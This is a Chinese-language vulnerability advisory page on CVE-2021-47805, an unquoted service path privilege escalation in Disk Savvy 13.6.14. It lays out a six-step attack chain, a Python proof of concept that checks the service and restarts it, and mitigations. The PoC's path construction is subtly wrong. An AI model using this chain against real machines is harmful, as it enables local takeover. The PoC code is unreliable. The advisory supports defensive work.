IPBUF安全漏洞报告
English
CVE-2021-47805 CVSS 7.8 高危

CVE-2021-47805: Disk Savvy 13.6.14 未引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47805
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Disk Savvy 13.6.14

相关标签

未引号服务路径权限提升本地攻击Disk SavvyWindows服务LocalSystemCVE-2021-47805高危漏洞

漏洞概述

CVE-2021-47805是影响Disk Savvy 13.6.14版本的一个高危本地权限提升漏洞。该漏洞存在于Windows服务配置中,由于服务可执行文件路径未使用引号包裹,攻击者可以利用Windows服务搜索路径的机制,在服务启动时劫持执行流程,注入恶意代码并以LocalSystem最高权限执行。Disk Savvy是一款由Disk Savvy Software开发的磁盘空间分析工具,广泛应用于企业环境进行存储管理和分析。由于其需要以系统服务方式运行以监控磁盘活动,因此具备较高的系统权限,这使得该漏洞的潜在危害更为严重。本地低权限用户可通过此漏洞获得系统完全控制权,绕过常规的安全边界限制。

技术细节

未引号服务路径漏洞(Unquoted Service Path)是一种Windows本地权限提升漏洞。当Windows服务配置中的可执行文件路径包含空格且未使用双引号包裹时,操作系统会按照空格分割路径,并依次尝试执行每个路径段中的程序。例如,如果服务路径为C:\Program Files\Disk Savvy\bin\DiskSavvy.exe,Windows会首先尝试执行C:\Program.exe,然后是C:\Program Files\Disk.exe,以此类推直到找到正确的可执行文件。攻击者可以将恶意可执行文件(如Program.exe)放置在某个中间目录中,当服务重启或系统启动时,恶意程序将以服务账户(通常是LocalSystem)的权限自动执行,从而实现权限提升。Disk Savvy的Windows服务配置存在此问题,攻击者只需具备目标系统的写权限(如普通用户账户),即可通过创建恶意的可执行文件实现完整的系统控制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统上安装的Disk Savvy软件版本(13.6.14或更早版本),并确认其作为Windows服务运行
STEP 2
步骤2
漏洞识别:使用sc qc命令查询DiskSavvy服务的配置,检查BINARY_PATH_NAME是否存在未使用引号包裹的路径,特别是包含空格的路径
STEP 3
步骤3
路径分析:分析未引用路径的组成,例如C:\Program Files\Disk Savvy\bin\DiskSavvy.exe,Windows会按空格分割并依次尝试执行C:\Program.exe、C:\Program Files\Disk.exe等
STEP 4
步骤4
恶意程序部署:攻击者将精心制作的恶意可执行文件(如Program.exe或Disk.exe)写入系统上攻击者具有写权限的目录位置
STEP 5
步骤5
服务触发:等待服务重启(可通过系统维护、恶意软件触发或物理访问等方式),或主动触发服务重启使Windows加载并执行恶意程序
STEP 6
步骤6
权限提升:恶意程序以LocalSystem最高权限执行,攻击者获得系统完全控制权,可执行任意代码、安装后门、窃取敏感数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47805 PoC - Unquoted Service Path in Disk Savvy # This script demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to LocalSystem import os import sys import subprocess import shutil def check_vulnerability(): """Check if Disk Savvy service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'DiskSavvy'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [l for l in result.stdout.split('\n') if 'BINARY_PATH' in l] if path_line: return True, path_line[0] except: pass return False, None def exploit_unquoted_path(): """Exploit unquoted service path by placing malicious executable""" # Identify the unquoted path in Disk Savvy service configuration # Typical vulnerable path: C:\Program Files\Disk Savvy\bin\DiskSavvy.exe # Split path by spaces to find potential injection points base_path = "C:\\Program Files\\Disk Savvy\\bin" # Create malicious executable name based on path segments # If path is unquoted, Windows will try to execute first word before space malicious_exe = os.path.join(base_path.split()[0], "Program.exe") # In real attack, this would be the actual malicious payload # For demonstration, we'll show the concept print(f"[*] Malicious executable should be placed at: {malicious_exe}") print("[*] When DiskSavvy service restarts, it will execute this file as SYSTEM") # Trigger service restart (requires administrator privileges for actual exploitation) try: subprocess.run(['sc', 'stop', 'DiskSavvy'], capture_output=True) subprocess.run(['sc', 'start', 'DiskSavvy'], capture_output=True) print("[+] Service restart triggered") except Exception as e: print(f"[-] Failed to restart service: {e}") if __name__ == "__main__": print("CVE-2021-47805 - Disk Savvy Unquoted Service Path Exploitation") print("=" * 60) is_vulnerable, path_info = check_vulnerability() if is_vulnerable: print(f"[+] Disk Savvy service found with path: {path_info}") exploit_unquoted_path() else: print("[-] Disk Savvy service not found or not vulnerable")

影响范围

Disk Savvy <= 13.6.14

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1)修改DiskSavvy服务的注册表配置,在BINARY_PATH_NAME值中使用双引号包裹完整路径;2)移除服务账户不必要的文件系统写入权限;3)使用Sysinternals Autoruns工具检查和修复未引用服务路径;4)部署端点检测与响应(EDR)解决方案监控可疑的服务重启行为;5)考虑使用虚拟化技术隔离受影响的应用程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表